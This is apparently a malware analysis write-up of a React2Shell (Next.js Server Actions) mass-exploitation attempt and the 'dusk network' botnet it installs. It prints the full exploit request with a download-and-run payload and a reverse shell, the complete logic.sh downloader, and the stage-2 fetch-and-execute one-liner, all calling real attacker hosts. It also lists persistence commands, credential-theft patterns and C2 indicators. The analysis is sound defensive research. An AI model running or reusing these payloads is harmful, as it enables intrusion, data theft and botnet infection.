1. The log entry
I run a small self-hosted web application (a radio control panel) exposed to the internet. It logs every request it rejects. On 3 November 2026 the log filled up with the same kind of entry, a POST / from 91.92.40.12 flagged as Unknown host, roughly every 30 seconds from 15:23 to 15:30 local time (14:23 to 14:30 UTC).
The request was rejected before reaching any application code because the Host header did not match my domain: the scanner used the bare IP. The full request was logged anyway. Here are the two variants exactly as recorded (my server's IP replaced with <my-server-ip>).
Variant 1 (log seq 1372, 2026-11-03T14:30:49Z):
POST / HTTP/1.1
Host: <my-server-ip>:443
Accept-Encoding: gzip
Connection: close
Content-Length: 590
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var c=process.mainModule.require('child_process');c.exec('wget http://62.60.226.31:235/logic.sh -O /tmp/logic.sh || curl http://62.60.226.31:235/logic.sh -o /tmp/logic.sh; sh /tmp/logic.sh');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Variant 2 (log seq 1371, same second), identical except for Content-Length: 619 and the _prefix, which is a Node.js reverse shell:
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('/bin/sh',[]),cl=new n.Socket();cl.connect(12323,'91.92.40.12',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
The two _prefix payloads, reformatted for readability:
// Variant 1: download and run the stage-1 script
var c = process.mainModule.require('child_process');
c.exec('wget http://62.60.226.31:235/logic.sh -O /tmp/logic.sh || curl http://62.60.226.31:235/logic.sh -o /tmp/logic.sh; sh /tmp/logic.sh');
// Variant 2: reverse shell to the attacker
var n = process.mainModule.require('net'),
c = process.mainModule.require('child_process'),
s = c.spawn('/bin/sh', []),
cl = new n.Socket();
cl.connect(12323, '91.92.40.12', () => { cl.pipe(s.stdin); s.stdout.pipe(cl); s.stderr.pipe(cl); });
My app is not a Next.js app, so it was never vulnerable — but the payload was too interesting to ignore.
2. The exploit: React2Shell
The Next-Action header and the shape of the body identify an attack on React Server Components / Next.js Server Actions, the deserialization flaw publicly known as React2Shell, tracked as CVE-2025-55182 in React and CVE-2025-66478 in Next.js, rated CVSS 10.0 and disclosed on 3 December 2025 (React advisory). In short:
"$1:__proto__:then"makes the RSC deserializer resolve a reference throughObject.prototype, turning the object into a fake thenable."$1:constructor:constructor"walks from an object toObjectand then toFunction.- The attacker-controlled
_prefixstring ends up as the body of thatFunctionand is executed server-side, in the Node.js process.
The result is arbitrary command execution as the user running the web server. This is mass exploitation: no fingerprinting, no Host header, just the same payload sprayed at IP addresses.
3. Stage 1: logic.sh, a downloader that tries everything
The first payload fetches http://62.60.226.31:235/logic.sh, a brute-force downloader. Its structure is simple:
download_and_run() {
binary=$1
url="http://62.60.226.31:235/$binary"
# try ~40 download methods in turn; the first one that works runs "./$binary logic"
}
for arch in x86_64.dusk x86_32.dusk arm7.dusk; do download_and_run "$arch"; done
Full logic.sh, verbatim (click to expand)
#!/bin/sh
P=$$
download_and_run() {
binary=$1
url="http://62.60.226.31:235/$binary"
./$binary logic 2>/dev/null && return
wget $url -O $binary 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
wget --no-check-certificate $url -O $binary 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
wget -q $url -O $binary 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
curl -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
curl -L -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
curl -k -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
curl --insecure -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
busybox wget $url -O $binary 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
busybox curl -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
fetch -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
lwp-download $url $binary 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
GET $url 2>/dev/null > $binary && chmod +x $binary && ./$binary logic && rm -rf $binary && return
aria2c -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
axel -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
http -d -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
lftp -c "get $url -o $binary" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
lynx -source $url 2>/dev/null > $binary && chmod +x $binary && ./$binary logic && rm -rf $binary && return
links -source $url 2>/dev/null > $binary && chmod +x $binary && ./$binary logic && rm -rf $binary && return
w3m -dump_source $url 2>/dev/null > $binary && chmod +x $binary && ./$binary logic && rm -rf $binary && return
tftp -g -r $binary 62.60.226.31 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
busybox tftp -g -r $binary 62.60.226.31 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
printf "get $binary\nquit\n" | ftp -n 62.60.226.31 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
busybox ftpget 62.60.226.31 $binary $binary 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
node -e "require('http').get('$url',(r)=>{let d=[];r.on('data',(c)=>d.push(c));r.on('end',()=>{require('fs').writeFileSync('$binary',Buffer.concat(d),{mode:0o777});require('child_process').exec('./$binary logic')})})" 2>/dev/null && return
nodejs -e "require('http').get('$url',(r)=>{let d=[];r.on('data',(c)=>d.push(c));r.on('end',()=>{require('fs').writeFileSync('$binary',Buffer.concat(d),{mode:0o777});require('child_process').exec('./$binary logic')})})" 2>/dev/null && return
python3 -c "import urllib.request; urllib.request.urlretrieve('$url', '$binary')" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
python -c "import urllib; urllib.urlretrieve('$url', '$binary')" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
python2 -c "import urllib; urllib.urlretrieve('$url', '$binary')" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
python3 -c "import urllib.request; open('$binary','wb').write(urllib.request.urlopen('$url').read())" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
python -c "import urllib2; open('$binary','wb').write(urllib2.urlopen('$url').read())" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
python2 -c "import urllib2; open('$binary','wb').write(urllib2.urlopen('$url').read())" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
perl -e 'use LWP::Simple; getstore("'$url'", "'$binary'")' 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
php -r "file_put_contents('$binary', file_get_contents('$url'));" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
ruby -e "require 'open-uri'; File.write('$binary', open('$url').read)" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
printf "GET /$binary HTTP/1.0\r\nHost: 62.60.226.31:235\r\n\r\n" | nc 62.60.226.31 235 2>/dev/null | sed '1,/^\r$/d' > $binary && [ -s $binary ] && chmod +x $binary && ./$binary logic && rm -rf $binary && return
printf "GET /$binary HTTP/1.0\r\nHost: 62.60.226.31:235\r\n\r\n" | nc.traditional 62.60.226.31 235 2>/dev/null | sed '1,/^\r$/d' > $binary && [ -s $binary ] && chmod +x $binary && ./$binary logic && rm -rf $binary && return
printf "GET /$binary HTTP/1.0\r\nHost: 62.60.226.31:235\r\n\r\n" | nc.openbsd 62.60.226.31 235 2>/dev/null | sed '1,/^\r$/d' > $binary && [ -s $binary ] && chmod +x $binary && ./$binary logic && rm -rf $binary && return
printf "GET /$binary HTTP/1.0\r\nHost: 62.60.226.31:235\r\n\r\n" | netcat 62.60.226.31 235 2>/dev/null | sed '1,/^\r$/d' > $binary && [ -s $binary ] && chmod +x $binary && ./$binary logic && rm -rf $binary && return
printf "GET /$binary HTTP/1.0\r\nHost: 62.60.226.31:235\r\n\r\n" | busybox nc 62.60.226.31 235 2>/dev/null | sed '1,/^\r$/d' > $binary && [ -s $binary ] && chmod +x $binary && ./$binary logic && rm -rf $binary && return
printf "GET /$binary HTTP/1.0\r\nHost: 62.60.226.31:235\r\n\r\n" | ncat 62.60.226.31 235 2>/dev/null | sed '1,/^\r$/d' > $binary && [ -s $binary ] && chmod +x $binary && ./$binary logic && rm -rf $binary && return
exec 3<>/dev/tcp/62.60.226.31/235 && printf "GET /$binary HTTP/1.0\r\n\r\n" >&3 && cat <&3 | sed '1,/^\r$/d' > $binary && [ -s $binary ] && chmod +x $binary && ./$binary logic && rm -rf $binary && return
}
for arch in x86_64.dusk x86_32.dusk arm7.dusk; do
download_and_run "$arch"
done
Things worth noting:
- ~40 different download methods, from
wgetto raw/dev/tcp, so it works on minimal containers, routers and old distributions alike. - The same host serves the payload over HTTP (port 235), TFTP and FTP.
- Three architectures:
x86_64,x86_32,arm7— servers and embedded devices. - Every binary is started with the argument
logic. As we will see, the bot storesargv[1]and reports it to its C2: it is a campaign/infection-vector tag. - Requesting the server root returns a custom HTTP 418 page:
I'm just a teapot.
4. Stage 2: the reverse-shell path
The second payload opens a shell to 91.92.40.12:12323. The listener on that port immediately pushes two commands to whoever connects. Verbatim:
stty -echo 2>/dev/null
for d in /tmp /var/tmp /dev/shm /var/run /run /var/lock; do cd $d 2>/dev/null || continue; rm -f bot* .b* 2>/dev/null; (timeout 10 nc 91.92.40.12 9999 > .bins || nc -w 10 91.92.40.12 9999 > .bins || (nc 91.92.40.12 9999 > .bins & sleep 10; killall nc 2>/dev/null) || (exec 3<>/dev/tcp/91.92.40.12/9999 && cat <&3 > .bins)) & wait; if [ -s .bins ]; then split -b 150000 .bins .b_ 2>/dev/null; for f in .b_*; do chmod 777 $f 2>/dev/null || chmod +x $f 2>/dev/null; (./$f logic 2>/dev/null || sh $f logic 2>/dev/null || /lib*/ld-*.so* $f logic 2>/dev/null || /lib*/ld-linux*.so* $f logic 2>/dev/null || /lib64/ld-linux-x86-64.so.2 $f logic 2>/dev/null || /system/bin/linker $f logic 2>/dev/null || cp $f /tmp/.x && /tmp/.x logic 2>/dev/null) & done; break; fi; done
The same commands, only re-indented:
stty -echo 2>/dev/null
for d in /tmp /var/tmp /dev/shm /var/run /run /var/lock; do
cd $d 2>/dev/null || continue
rm -f bot* .b* 2>/dev/null
(timeout 10 nc 91.92.40.12 9999 > .bins \
|| nc -w 10 91.92.40.12 9999 > .bins \
|| (nc 91.92.40.12 9999 > .bins & sleep 10; killall nc 2>/dev/null) \
|| (exec 3<>/dev/tcp/91.92.40.12/9999 && cat <&3 > .bins)) & wait
if [ -s .bins ]; then
split -b 150000 .bins .b_ 2>/dev/null
for f in .b_*; do
chmod 777 $f 2>/dev/null || chmod +x $f 2>/dev/null
(./$f logic 2>/dev/null \
|| sh $f logic 2>/dev/null \
|| /lib*/ld-*.so* $f logic 2>/dev/null \
|| /lib*/ld-linux*.so* $f logic 2>/dev/null \
|| /lib64/ld-linux-x86-64.so.2 $f logic 2>/dev/null \
|| /system/bin/linker $f logic 2>/dev/null \
|| cp $f /tmp/.x && /tmp/.x logic 2>/dev/null) &
done
break
fi
done
It looks for a writable directory, pulls a blob from port 9999, splits it into 150 kB chunks and tries to execute each chunk with every loader it can think of, including the Android linker. The first thing it does is delete bot* files: other botnets' leftovers. When I connected to port 9999 it returned nothing; it probably serves only registered shells, or only during a time window.
5. The binary: first look
I downloaded x86_64.dusk and worked only on a copy, on a Windows machine that cannot run it.
$ sha256sum x86_64.dusk
d917efa0b3b6bf6d34a93b627cc91b88534392a3aac474b5101fd1c6937bb0cf x86_64.dusk
$ file x86_64.dusk
x86_64.dusk: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, stripped
What it is built with:
| Evidence | Conclusion |
|---|---|
strings has No error information, no GLIBC_ symbols |
musl libc (glibc would say Success) |
.note.gnu.property, GCC-style prologues and stack canaries |
GCC |
strings such as mbedtls_ssl_tls13_calculate_verify_data, MBEDTLS_SSL_CLIENT_HELLO, DTLS 1.3 is not yet supported. |
mbedTLS 3.x for TLS |
| static-pie, three architectures from one script | a musl cross-toolchain; plain C |
strings -n 4 x86_64.dusk | grep -E '^No error information$' # musl
strings -n 6 x86_64.dusk | grep -c mbedtls_ # mbedTLS
What the plain strings already reveal:
strings -n 6 x86_64.dusk | grep -E 'dusk|Juuvi|sydney'
dusk network on top
from the heart of sydney AU
contact @Juuviorg on telegram to buy
</table><hr><div class=sz>dusknetwork file viewer</div></body></html>
The last line of the banner says it all: access to the botnet is for sale. Other plain strings include ~668 legitimate URLs (Google, Bing, news sites, government portals), a dozen browser User-Agent templates, fake SSH banners (SSH-2.0-PuTTY_Release_0.79, 0.80, 0.81, 0.82, 0.83), FiveM game-server requests (User-Agent: CitizenFX), a database dump command line (%s %s --socket=%s --single-transaction --skip-lock-tables --all-databases 2>%s/err | head -c %d > %s), a systemd unit (Description=System Network Helper) and an eth_call JSON-RPC template.
The interesting parts, however, are encrypted.
6. Cracking the string encryption
6.1 Finding the routine
The program entry contains many calls like this one (disassembled with objdump -d -M intel):
f8e2: mov esi,0xa ; length = 10
f8e7: mov ecx,0x85c9fc1b ; a1
f8ec: mov edx,0xf1c3b17e ; a0
f8f1: mov rax,QWORD PTR [rip+0xd65d8] ; 0xe5ed0: first 8 encrypted bytes (.rodata)
f8f8: mov r9d,0x91ffc903 ; a3
f8fe: mov r8d,0xcafc86 ; a2
f904: mov QWORD PTR [rsp+0xf0],rax ; buffer[0..7]
f90c: mov eax,0x6fa5
f911: mov WORD PTR [rsp+0xf8],ax ; buffer[8..9]
f919: lea rax,[rsp+0xf0]
f921: sub rsp,0x8 ; padding slot (s9, unused)
f925: mov QWORD PTR [rsp+0x8],rax
f92a: mov rdi,rax ; rdi = encrypted buffer
f92d: push 0x5de6f130 ; s8
f932: push 0xffffffffa1b0d370 ; s7
f937: push 0x23a92bc8 ; s6
f93c: push 0x670f1ba0 ; s5 (nonce word 2)
f941: push 0x47f6cae6 ; s4 (nonce word 1)
f946: push 0x5af49d08 ; s3
f94b: push 0xffffffffef395b32 ; s2
f950: push 0xffffffff88372870 ; s1
f955: push 0xffffffffb2eb5f1b ; s0
f95a: call 0x40c80 ; returns "/proc/self"
To reproduce: objdump -d -M intel --no-show-raw-insn x86_64.dusk | grep -A40 '^ *f8e2:'.
Function 0x40c80 builds a 256-bit key from the eight constants, then calls a routine that loads the four constants expand 32-byte k, runs 10 double rounds of the ChaCha quarter-round and XORs the keystream. That is ChaCha20.
6.2 The scheme
Each string goes through two layers, a few through three:
- ChaCha20 with
- key =
[a0^s0, a1^s1, a2^s2, a3^s3, a0^s3, a1^s2, a2^s1, a3^s0](eight little-endian 32-bit words), - nonce =(s4, s5, 0), block counter starting at 1. - A positional XOR with ciphertext feedback. For byte
i:out[i] = chacha[i] ^ (0x5b + 0x37·i) ^ (s6 >> 8·(i%4)) ^ (s7 >> 8·(i%4)) ^ (s8 >> 8·(i%4)) ^ prev, wherepreviss6 >> 24for the first byte and the previous ciphertext byte afterwards (a CBC-like chain). - For the most sensitive strings (the C2 domains), one more XOR with one or two 16-byte masks, or a rotating dword.
The routine was clearly written as a macro: it is inlined more than 100 times, and the binary contains 14 separate copies of ChaCha20, one per compilation unit. This defeats simple signatures and "find the decryption function" approaches.
6.3 Decrypting everything without running anything
Instead of executing the sample, I emulated only the instruction windows that prepare each decryption, using Unicorn and Capstone:
- straight-line emulation of the ~200 instructions before each decryption, with every
call,jmpandsyscallskipped; - capture of the buffer, key and nonce at the ChaCha call;
- ChaCha20 reimplemented in Python, then the real XOR loop emulated with the feedback pointer redirected to a copy of the ciphertext.
Result: 152 out of 152 call sites decrypted, plus 6 SIMD-style sites decrypted by hand. The full list is in analysis/strings.txt.
6.4 Verify it yourself
This self-contained script decrypts one of the C2 domains straight from the file: it only reads bytes, executes nothing, and needs no third-party packages.
#!/usr/bin/env python3
# verify_c2.py - decrypt two hidden C2 domains from x86_64.dusk (static, read-only)
import struct, sys
M = 0xffffffff
def rotl(x, n): return ((x << n) | (x >> (32 - n))) & M
def qr(s, a, b, c, d):
s[a]=(s[a]+s[b])&M; s[d]=rotl(s[d]^s[a],16); s[c]=(s[c]+s[d])&M; s[b]=rotl(s[b]^s[c],12)
s[a]=(s[a]+s[b])&M; s[d]=rotl(s[d]^s[a],8); s[c]=(s[c]+s[d])&M; s[b]=rotl(s[b]^s[c],7)
def chacha20(key, n0, n1, data): # counter = 1, nonce = (n0, n1, 0)
st = [0x61707865,0x3320646e,0x79622d32,0x6b206574, *struct.unpack('<8I', key), 1, n0, n1, 0]
w = st[:]
for _ in range(10):
qr(w,0,4,8,12); qr(w,1,5,9,13); qr(w,2,6,10,14); qr(w,3,7,11,15)
qr(w,0,5,10,15); qr(w,1,6,11,12); qr(w,2,7,8,13); qr(w,3,4,9,14)
ks = b''.join(struct.pack('<I', (w[i]+st[i]) & M) for i in range(16))
return bytes(a ^ b for a, b in zip(data, ks))
d = open(sys.argv[1], 'rb').read()
r = lambda off: d[off:off+16] # .rodata: file offset == virtual address
# (ciphertext, key lo, key hi, nonce0, nonce1, mask1, mask2) - read from code at 0x23a70 / 0x23b98
for ct, k1, k2, n0, n1, x1, x2 in [
(0xe1dc0, 0xe1d10, 0xe1d20, 0xfcaa93e1, 0xe014776e, 0xe1d30, 0xe1d40),
(0xe1db0, 0xe1cd0, 0xe1ce0, 0xd2e97ae6, 0x17beaa9d, 0xe1cf0, 0xe1d00)]:
p = chacha20(r(k1) + r(k2), n0, n1, r(ct))
print(bytes(a ^ b ^ c for a, b, c in zip(p, r(x1), r(x2))).decode())
$ python3 verify_c2.py x86_64.dusk
sdkconnecter.com
sdkconnect121.st
7. What the bot does
Grouped from the decrypted strings and from the code around them.
7.1 DDoS for hire
- HTTP/1.1 and HTTP/2 floods that look like real browsers: randomized Chrome/Firefox/Edge/Safari User-Agents, matching
sec-ch-uaandsec-fetch-*headers, one of ~668 real sites asReferer, and realistic paths:/wp-json/wp/v2/users,/wp-admin/admin-ajax.php,/wp-includes/js/jquery/jquery.min.js,/static/js/main.js,/.well-known/openid-configuration,/sitemap_index.xml,/readyz. TLS comes from mbedTLS; HTTP/2 framing is hand-written. - Game servers: FiveM/CitizenFX and Source Engine (
TSource Engine Query); the FiveM requests are listed below. - Connection exhaustion with plausible handshakes: SSH (PuTTY banners), SMTP (
EHLO), IMAP (A0001 CAPABILITY), IRC (NICK/USER), FTP (USER anonymous), LDAP.
The FiveM requests, exactly as stored in the binary (some in plain text, some encrypted):
GET /info.json HTTP/1.1
Host: %s:%d
User-Agent: CitizenFX
Accept: */*
GET /info.json HTTP/1.1
Host: %s:%d
User-Agent: CitizenFX/1
Accept: */*
GET /info.json HTTP/1.1
Host: %s:%d
User-Agent: curl/7.83.1-DEV
Accept: */*
Connection: close
POST /client HTTP/1.1
Host: %s:%d
User-Agent: CitizenFX/1
Content-Type: application/json
Content-Length: %d
{"method":"getConfiguration","X-CitizenFX-Token":"%s"}
POST /client HTTP/1.1
Host: %s:%d
User-Agent: CitizenFX/1
Content-Type: application/json
Content-Length: %d
{"method":"getEndpoints","token":"%s"}
7.2 Data theft
- Databases: finds
mysqldump/mariadb-dumpand logs in as root through the local socket (/run/mysqld/mysqld.sock,/var/run/mysqld/mysqld.sock,/var/lib/mysql/mysql.sock) using--defaults-extra-file=/etc/mysql/debian.cnfor/root/.my.cnf, then runs%s %s --socket=%s --single-transaction --skip-lock-tables --all-databases 2>%s/err | head -c %d > %s. The output (mysql_all_databases.sql,mysql_databases.txt) is gzipped. It also looks for raw table files (.ibd,ibdata,.MYD,.frm). - Keys:
/etc/ssh/ssh_host_{rsa,ecdsa,ed25519,dsa}_key, and any file containing-----BEGIN (RSA|OPENSSH|EC|DSA|ENCRYPTED|PGP) PRIVATE KEY-----. - Secrets and tokens:
aws_secret_access_key, GitHub tokens (ghu_,ghr_), Anthropic API keys (sk-ant-), Stripe (sk_test_,STRIPE_SECRET), Slack (xoxa),redis://,mysql:,passwd=,apikey,application.properties, plus/proc/<pid>/environand/proc/<pid>/cmdlineof other processes. On a server running a web app, environment variables are exactly where those secrets live. - Remote file browsing: a built-in HTTP server, "dusknetwork file viewer", with directory listings and downloads, gated by a
?key=parameter. The pty strings (/dev/ptmx,/dev/pts/%d) suggest an interactive shell as well.
7.3 Persistence, in layers
The bot copies itself as DUSKNET.ONTOPDUSKBOT into /tmp, /var/tmp and /dev/shm, then installs every persistence mechanism it can:
| Mechanism | Where |
|---|---|
| systemd | /etc/systemd/system/<name>.service, enabled with systemctl |
| SysV init | /etc/init.d/<name> plus update-rc.d / chkconfig / rc-update and an S90 symlink |
| inittab | a ::respawn: line |
| cron | /etc/cron.d, /etc/crontab, root's crontab, @reboot, and a watchdog job every 5 minutes |
| no cron? | it installs and starts one (apt, apk, pacman, yum/dnf, busybox crond) |
| hardware watchdog | /dev/watchdog, /sys/class/watchdog/*/nowayout |
The exact decrypted strings (%s and %d are printf placeholders filled at runtime) are listed below. Plain-text strings, found directly with strings, are marked [plain].
# self-copies
/tmp/DUSKNET.ONTOPDUSKBOT
/var/tmp/DUSKNET.ONTOPDUSKBOT
/dev/shm/DUSKNET.ONTOPDUSKBOT
mkdir /%s/ && >/%s/%s && cd /%s/ >/dev/null
mv '%s' /%s/%s && chmod 777 /%s/%s >/dev/null
# systemd
/etc/systemd/system/%s.service
[Unit] [plain]
After=network.target [plain]
[Service] [plain]
Type=forking [plain]
ExecStart=/%s%s%s\n
KillMode=process [plain]
RestartSec=10 [plain]
[Install] [plain]
WantedBy=multi-user.target [plain]
Description=System Network Helper [plain]
/usr/bin/systemctl
systemctl daemon-reload 2>/dev/null; systemctl enable %s 2>/dev/null
systemctl daemon-reload 2>/dev/null
net-helper%d [plain]
# SysV init script
/etc/init.d/%s
### BEGIN INIT INFO [plain]
# Provides: %s [plain]
# Required-Start: $network [plain]
# Default-Start: 2 3 4 5 [plain]
# Default-Stop: 0 1 6 [plain]
### END INIT INFO [plain]
case "$1" in [plain]
start|"") /%s%s%s & ;; [plain]
stop) kill $(cat /tmp/.%s.pid 2>/dev/null) 2>/dev/null ;;\n
restart) $0 stop; sleep 1; $0 start ;; [plain]
esac [plain]
exit 0 [plain]
update-rc.d %s defaults 2>/dev/null; chkconfig %s on 2>/dev/null; rc-update add %s default 2>/dev/null; ln -sf %s /etc/rc2.d/S90%s 2>/dev/null
# inittab
/etc/inittab
::respawn:/%s%s%s\n
# cron
/etc/cron.d/%s
/etc/crontab
/var/spool/cron/crontabs
/var/spool/cron/crontabs/root
@reboot %s%s%s [plain]
*/5 * * * * pid=$(cat /tmp/.%s.pid 2>/dev/null); { [ -z "$pid" ] || [ ! -e /proc/$pid ] || grep -q '^State:.*Z' /proc/$pid/status 2>/dev/null; } && [ -x %s ] && %s%s%s\n
*/5 * * * * root pid=$(cat /tmp/.%s.pid 2>/dev/null); { [ -z "$pid" ] || [ ! -e /proc/$pid ] || grep -q '^State:.*Z' /proc/$pid/status 2>/dev/null; } && [ -x /%s ] && /%s%s%s\n
/tmp/.%s.pid
killall -0 crond 2>/dev/null || killall -0 cron 2>/dev/null
/usr/sbin/crond -b 2>/dev/null || /usr/sbin/cron 2>/dev/null || service cron start 2>/dev/null || systemctl start cron 2>/dev/null
/usr/sbin/crond -b 2>/dev/null || /usr/sbin/cron 2>/dev/null || /bin/busybox crond -b 2>/dev/null
/usr/sbin/crond -b 2>/dev/null || /usr/sbin/cron 2>/dev/null || /sbin/crond -b 2>/dev/null
/bin/busybox crond -b 2>/dev/null
dcron [plain]
# installing cron if missing
apt-get [plain]
opkg [plain]
pacman [plain]
DEBIAN_FRONTEND=noninteractive apt-get install -y -qq %s 2>/dev/null
%s install -y -q %s 2>/dev/null
apk add --quiet %s 2>/dev/null
pacman -S --noconfirm %s 2>/dev/null
# removing its own units (re-install / upgrade path)
rm -f /etc/rc*.d/*%s* 2>/dev/null
(sleep 2; systemctl disable %s 2>/dev/null; systemctl stop --no-block %s 2>/dev/null; systemctl daemon-reload 2>/dev/null) & >/dev/null 2>&1
# hardware watchdog
/dev/watchdog
/dev/misc/watchdog
/sys/class/watchdog/%s/nowayout
/sys/class/watchdog/%s/state
Service names follow the pattern net-helper<N>. A leftover debug message sums up the philosophy: "[crash] fatal signal — clean death, respawn layers take over".
7.4 Housekeeping
It removes older versions of itself and, apparently, competitors:
rm -f /etc/init.d/net-helper* /etc/cron.d/net-helper* /etc/systemd/system/net-helper*.service /etc/rc*.d/*net-helper* /tmp/.net-helper*.pid 2>/dev/null
for d in /tmp/.x*; do [ -d "$d" ] || continue; p=${d#/tmp/.x}; case "$p" in *[!0-9]*) continue;; esac; kill -0 "$p" 2>/dev/null || rm -rf "$d"; done 2>/dev/null
rm -rf /tmp/.x* 2>/dev/null
rm -f /tmp/.v3s-%s-* 2>/dev/null
rm -f /tmp/.kpa-%s 2>/dev/null
rm -f %s/.e.tmp.* 2>/dev/null
rm -rf %s 2>/dev/null
find /tmp /var/tmp /dev/shm /var/lib /etc -maxdepth 2 -name '.a' -type f -delete 2>/dev/null
find /tmp /var/tmp /dev/shm /var/lib /etc -maxdepth 2 -name '.d' -type f -delete 2>/dev/null
It fingerprints the host with /proc/sys/kernel/random/boot_id, /proc/self/exe and /proc/%d/exe, and geolocates itself with this request:
GET /json/?fields=status,country,city,isp,as,query HTTP/1.1
Host: ip-api.com
User-Agent: curl/8.2.1
Connection: close
It registers with the C2 by sending the fields of these plain-text format strings: arch=%s, uid=%d, sys=%s, node=%s, release=%s, machine=%s, sysinfo, %s|%lld|%lld.
8. How the bot finds its masters
There is no hard-coded C2 IP address in the binary. The C2 list comes from three redundant sources.
8.1 Ethereum (primary)
Decrypted strings:
# RPC endpoints (decrypted)
ethereum-rpc.publicnode.com
gateway.tenderly.co
eth.rpc.blxrbdn.com
eth-mainnet.public.blastapi.io
# contract address and ENS namehash (decrypted)
d06df9e8dfab1a67b59bac76a4675d86787ba4d4
6a096bd9c6ee416714785e19ac1f6c357f6be9dee3883838aa7b9545aa8e40b2
# call data template for text(node, "ip") (decrypted)
0x59d1d43c%s000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000026970000000000000000000000000000000000000000000000000000000000000
# JSON-RPC templates
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x%s","data":"%s"},"latest"],"id":1} [plain]
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x%s","data":"0x3b3b57de%s"},"latest"],"id":2} (decrypted)
"result":"0x [plain]
Reading the call data template piece by piece:
| Bytes | Meaning |
|---|---|
59d1d43c |
function selector of text(bytes32,string) |
%s |
the 32-byte node (namehash), filled at runtime |
0000000000000000000000000000000000000000000000000000000000000040 |
offset of the string argument (64 bytes) |
0000000000000000000000000000000000000000000000000000000000000002 |
string length: 2 |
6970000000000000000000000000000000000000000000000000000000000000 |
"ip" (69 70) padded to 32 bytes |
0x3b3b57de is the selector of addr(bytes32), used by the second template. In other words, the bot asks a public Ethereum node "what is the ip text record of this name?", the same call wallets make to resolve ENS names.
8.2 Domains over DNS-over-HTTPS (fallback)
Eight domains, decrypted from a switch with eight cases and resolved through POST /dns-query (DoH):
sdkconnecter.com sdkconnect121.st
lovefromallareas.at iwonderifulovemeaswell.vg
iloveuevenifudontlovemeback.is
okiloveyoupleasedonttouchme.net
thespacemachines.st dnsrecordsarepowerful.com
The default C2 port, used whenever an entry does not specify one, is 6969 (mov r15d, 0x1b39).
8.3 Local cache
The last known list is stored in a hidden file <dir>/.d, in the format [count] followed by count entries of [len][host][port, 2 bytes big-endian], XOR-encoded with the 8-byte key 73 a5 1c e7 4b 92 d8 3f (first byte additionally ^ 0x73). This lets the operator push new nodes to the bots without recompiling.
9. Following the C2 onto the blockchain
9.1 Reading the record, exactly like the bot does
Reading Ethereum is free, anonymous and leaves no trace on-chain. This single command reproduces the bot's request:
curl -s https://ethereum-rpc.publicnode.com \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{"to":"0xd06df9e8dfab1a67b59bac76a4675d86787ba4d4","data":"0x59d1d43c6a096bd9c6ee416714785e19ac1f6c357f6be9dee3883838aa7b9545aa8e40b200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000002697000000000000000000000000000000000000000000000000000000000000000"},"latest"]}' \
| python3 -c "import sys,json; h=json.load(sys.stdin)['result'][2:]; n=int(h[64:128],16); print(bytes.fromhex(h[128:128+2*n]).decode())"
102.220.161.194,102.220.163.203,196.251.121.249,62.60.226.173,94.154.43.235,130.12.181.199
